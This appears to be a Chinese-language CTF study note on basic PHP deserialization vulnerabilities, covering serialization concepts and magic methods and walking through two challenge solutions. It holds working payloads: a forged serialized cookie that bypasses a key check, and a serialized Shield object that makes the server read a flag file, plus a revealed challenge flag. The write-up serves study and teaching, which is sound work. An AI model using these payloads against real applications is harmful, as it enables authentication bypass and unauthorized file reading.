基础的PHP反序列化
基础的PHP反序列化
-
什么是序列化和反序列化
-
对象:对事物的建模
-
模型:用来反应现实世界中事物的特征
-
类:是对现实世界事物的抽象
-
对事物的描述为序列化(苹果是红色的,是甜的,是…)
-
通过描述进行重塑对象称为反序列化(将一个序列化的字符串,还原回去
-
-
出现漏洞的原因
数据在进入系统后影响了逻辑
-
如何利用PHP序列化反序列化
-
PHP的魔术方法
__constrct(),__destruct(),__call(),__callStatic()PHP 魔术常量 | 菜鸟教程 (runoob.com)(魔术常量?)
-
1. 一个实例
<?php
class ctf{
public $flag='flag{****}';
public $name ='cxk';
public $age='20';
}
$ctfer=new ctf();
$ctfer->flag='flag{aaaaa}';
$ctfer->name='noobwei';
$ctfer->age='18';
echo serialize($ctfer);
echo'<pre>';
var_dump(unserialize($str));
?>
-
bugku web25
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Login</title> <link rel="stylesheet" href="admin.css" type="text/css"> </head> <body> <br> <div class="container" align="center"> <form method="POST" action="#"> <p><input name="user" type="text" placeholder="Username"></p> <p><input name="password" type="password" placeholder="Password"></p> <p><input value="Login" type="button"/></p> </form> </div> </body> </html>/* try ?26448 */ body { background-color: #C1DEE8; } p { margin: 20px 0 0; } .container { background-color: #ffffff; border-radius: 10px; width: 20%; height: 20%; margin: 10% auto; padding: 30px; } input[type=text], input[type=password] { width: 100%; height: 40px; } input[type=button] { width: 60%; height: 40px; border-radius: 20px; }得到
<?php error_reporting(0); $KEY='ctf.bugku.com'; include_once("flag.php"); $cookie = $_COOKIE['BUGKU']; if(isset($_GET['26448'])){ show_source(__FILE__); } elseif (unserialize($cookie) === "$KEY") { echo "$flag"; } else { ?>
构造cookie:“BUGKU=s:13:“ctf.bugku.com””
重新访问得到flag{7af8c8853ba9f4c0beb1b46bc7097b77}
第三道(别人的例子
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
__isset()只能用于变量,因为传递任何其他参数都将造成解析错误
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
/*在 PHP3.0 和 PHP4.0 中,构造函数是一个与其所在类同名的函数。而在 PHP5 中,虽然也支持 PHP3.0 和 PHP4.0 中的用法,但是更推荐使用__construct作为类的构造函数,这样做的好处就是构造函数无需随着类名的改变而做出修改。在 PHP7.0 中废弃了 PHP3.0 和 PHP4.0 中的用法,构造函数必须使用__construct来定义。
构造函数就是当对象被创建时,类中被自动调用的第一个函数,并且一个类中只能存在一个构造函数。和普通函数类似构造函数也可以带有参数,如果构造函数有参数的话,那么在实例化也需要传入对应的参数,例如new Students($name, $age)。*/
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
传序列化对象
O:6:"Shield"(class是Shield):1:{s:4:"file";s:8:"pctf.php";}($g不为空即class Shield需传数据,即存在s:file,和s:pctf.php)

浙公网安备 33010602011771号